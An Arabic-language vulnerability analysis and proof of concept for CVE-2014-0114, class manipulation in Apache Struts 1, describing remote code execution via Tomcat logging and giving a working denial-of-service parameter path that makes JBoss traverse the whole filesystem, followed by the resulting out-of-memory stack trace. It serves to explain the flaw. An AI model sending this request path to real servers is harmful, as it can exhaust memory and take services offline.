
تحليل تقني وإثبات مفهوم لـ CVE-2014-0114، وهي ثغرة تلاعب بالفئات في Apache Struts 1 تمكن من تنفيذ الأوامر عن بُعد (RCE) عبر تسجيل Tomcat أو رفض الخدمة (DOS) عبر اجتياز نظام ملفات JBoss.
يتم التعامل مع المعاملات (parameters) في طلب POST أو GET كخصائص (properties) يتم تعيينها باستخدام النموذج كأساس. يمكن أن تكون المعاملات مسارًا إلى كائن متداخل.
يمكن التلاعب بـ Apache Struts 1.x لاستدعاء getClass() على Form Beans. على سبيل المثال، يمكن التلاعب مباشرة بسمات classloader للنموذج: https://example.com/?class.classLoader.defaultAssertionStatus=true.
تحت الغطاء، يستخدم Apache Struts 1.x commons-beanutils الذي في الإصدار 1.8 (وما قبله) لا يستثني السمة class.
كان لدى Struts 2 ثغرات مماثلة، لكننا هنا نركز على Struts 1.x حيث لا توجد أي تصحيحات للإطار الذي صدر آخر إصدار له في 2008 (وصل إلى نهاية الدعم منذ 2013).
إذا كان التطبيق يعمل على Tomcat (Catalina)، فيمكن التلاعب بتسجيل السجلات بحيث يتمكن المهاجم من إنشاء ملف JSP يتم تنفيذه لاحقًا عند طلبه من الخادم. يمكن لملف JSP تنفيذ كود Java عشوائي وبنفس المستخدم الذي يشغل عملية Java.
راجع عرض Julián Vilas للتفاصيل.
(تم الاختبار مع JBoss EAP 7.1)
توجد طريقة بسيطة لتنفيذ هجوم رفض الخدمة (DOS) الذي قد يجعل JBoss غير قابل للوصول تمامًا في أسوأ الحالات ويتطلب إعادة تشغيل. في أفضل الأحوال، يستجيب JBoss ببطء.
عبر السمة class يمكن الوصول إلى Class#protectionDomain.codeSource.location. في JBoss، هو كائن من نوع URL مع بروتوكول vfs.
بالنسبة لعنوان URL من النوع vfs://، سجّل JBoss معالج URLStreamHandler يعيد كائنًا من نوع org.jboss.vfs.VirtualFile عند استدعاء URL#getContent.
class.protectionDomain.codeSource.location.content.pathName يشير إلى المجلد <المسار>/<التطبيق>/WEB-INF/classes.
عبر parent يمكن الوصول إلى كائن المجلد الأعلى بمستوى واحد:
class.protectionDomain.codeSource.location.content.parent.pathName -> <المسار>/<التطبيق>/WEB-INF
سؤال:
كم عدد مراجع parent اللازمة للوصول إلى جذر نظام الملفات؟
سؤال:
ماذا يحدث عندما نطلب class.protectionDomain.codeSource.location.content.parent.parent.[...].childrenRecursively[0].pathName للمجلد الجذر لنظام الملفات؟
إجابة:
سيقوم JBoss بمراجعة جميع الملفات في نظام الملفات وتخصيص كائن org.jboss.vfs.VirtualFile لكل ملف ومجلد.
سؤال تابع: ماذا يحدث إذا طلب طلبان (requests) جميع الملفات في نظام الملفات في نفس الوقت؟ ثلاثة طلبات؟ خمسة؟ عشرة؟ مئة؟
...
إجابة:
إذا انتظرت وقتًا كافيًا، سيتم تسجيل خطأ
10:09:59,381 ERROR [io.undertow.request] (default task-13) UT005023: Exception handling request to /strutt/Login.do: javax.servlet.ServletException: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:286)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:292)
at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:138)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:272)
at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:104)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:326)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:812)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
Caused by: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:475)
at org.apache.struts.chain.commands.servlet.PopulateActionForm.populate(PopulateActionForm.java:50)
at org.apache.struts.chain.commands.AbstractPopulateActionForm.execute(AbstractPopulateActionForm.java:60)
at org.apache.struts.chain.commands.ActionCommandBase.execute(ActionCommandBase.java:51)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.commons.chain.generic.LookupCommand.execute(LookupCommand.java:305)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:283)
... 42 more
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:504)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:408)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:760)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.BeanUtilsBean.setProperty(BeanUtilsBean.java:903)
at org.apache.commons.beanutils.BeanUtilsBean.populate(BeanUtilsBean.java:830)
at org.apache.commons.beanutils.BeanUtils.populate(BeanUtils.java:433)
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:473)
... 49 more
Caused by: java.lang.OutOfMemoryError: GC overhead limit exceeded
at java.lang.AbstractStringBuilder.<init>(AbstractStringBuilder.java:68)
at java.lang.StringBuilder.<init>(StringBuilder.java:101)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:139)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:99)
at org.jboss.vfs.spi.RootFileSystem.getFile(RootFileSystem.java:65)
at org.jboss.vfs.spi.RootFileSystem.isDirectory(RootFileSystem.java:107)
at org.jboss.vfs.VirtualFile.isDirectory(VirtualFile.java:291)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:520)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
10:09:59,420 ERROR [stderr] (Periodic Recovery) Exception in thread "Periodic Recovery" java.lang.OutOfMemoryError: GC overhead limit exceeded
تنشغل وحدة المعالجة المركزية (CPU) بالكامل لمعالجة تجميع البيانات المهملة (Garbage Collection) لبعض الطلبات القليلة ولا تستطيع عملية Java القيام بالكثير غيره.
يعتمد الأمر أيضًا قليلاً على التطبيق. إذا كان بالإمكان تشغيل مسار كود يأخذ قفلاً (lock)، فقد يتعطل التطبيق/النظام.
CVE
عرض Julián Vilas
Metasploit